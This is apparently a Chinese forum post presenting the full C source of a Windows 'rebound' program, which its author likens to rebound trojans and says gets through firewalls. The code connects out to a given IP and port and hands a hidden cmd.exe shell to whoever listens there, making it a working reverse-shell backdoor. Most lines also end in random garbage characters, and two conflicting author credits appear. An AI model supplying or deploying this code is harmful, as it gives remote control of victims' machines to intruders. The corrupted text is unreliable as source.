这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A10/"Ec<u
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/* ============================== )7[>/2aGd
Rebound port in Windows NT ]r6,^"
By wind,2006/7 3v5]L3
===============================*/ E#8`X
#include w/>k
#include Fg`r:,(a
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#pragma comment(lib,"wsock32.lib") |OuZaCJG
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void OutputShell(); 6^}GXfJAc
SOCKET sClient; X-6Se
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2}'&38wMT
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void main(int argc,char **argv) a'XCT@B
{ hH`yQGZ
WSADATA stWsaData; Y Q3%vH5#y
int nRet; %\Ig{Rj;
SOCKADDR_IN stSaiClient,stSaiServer; 6HFA2~A
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if(argc != 3) 7H++ pOF
{ OJQ7nChMm
printf("Useage:\n\rRebound DestIP DestPort\n"); |]Pigi7y-
return; o7&Z4(V
} [}}oHm3&
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WSAStartup(MAKEWORD(2,2),&stWsaData); VqbMFr<k
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :.DCRs$Q
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stSaiClient.sin_family = AF_INET; hFs0qPVY
stSaiClient.sin_port = htons(0); : :e=6i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >c8zMd
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A\.k['!
{ 3eFD[c%mN
printf("Bind Socket Failed!\n"); C7eaioW$
return; pjrVPi5&t
} K\,&wU
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stSaiServer.sin_family = AF_INET; LHR%dt|M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0ot=BlMu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E':y3T@."
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I^0bEwqZ~
{ 0JKbp*H
printf("Connect Error!"); FV!
return; RR*z3i`PP
} ,`S"nq
OutputShell(); xGPt5l<M&
} UOT~L4G
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void OutputShell() 8mV`|2>
{ nke[}Hqf
char szBuff[1024]; O9:vPbn
SECURITY_ATTRIBUTES stSecurityAttributes; on\0i{0l8
OSVERSIONINFO stOsversionInfo; .#lQZo6$\|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SI8mr`gJ
STARTUPINFO stStartupInfo; !@p@u;djJ
char *szShell; g>T'R Vb
PROCESS_INFORMATION stProcessInformation; 52{jq18&
unsigned long lBytesRead; _lu.@IX-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :,LX3,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cq}LKiu
stSecurityAttributes.lpSecurityDescriptor = 0; Z\4l+.R`
stSecurityAttributes.bInheritHandle = TRUE; q#c\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .2Y"=|NdA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,d&~#W]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5lVDYmh
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xud =(HLl
stStartupInfo.wShowWindow = SW_HIDE; {UvZ
stStartupInfo.hStdInput = hReadPipe; _u]Wr%D@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !C&}e8M|eX
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GetVersionEx(&stOsversionInfo); AL3zE=BL
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switch(stOsversionInfo.dwPlatformId) !1-:1Whz8
{ OqHD=D[
case 1: z;2kKQZm
szShell = "command.com"; P8:k"i/6J
break; u4rGe!
default: 5ju\!Re3X
szShell = "cmd.exe"; D-69/3PvP
break; e#<%`\qH
} H+;>>|+:~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @'7'3+ c
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send(sClient,szMsg,77,0); >#)^4-e
while(1) ZdY:I;)s
{ 8?LsV<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )Q= EmZbJz
if(lBytesRead) <` [o|>A Z
{ -Pt.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W>TG!R 5
send(sClient,szBuff,lBytesRead,0); @n2Dt d
} +q n[F70}
else C2}n &{T
{ S!WG|75B
lBytesRead=recv(sClient,szBuff,1024,0); ^/]w}C#:d
if(lBytesRead<=0) break; y_mTO4\C2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -&q@|h'
} wN
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} *$e1Bv6
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return; &s6;2G&L$
}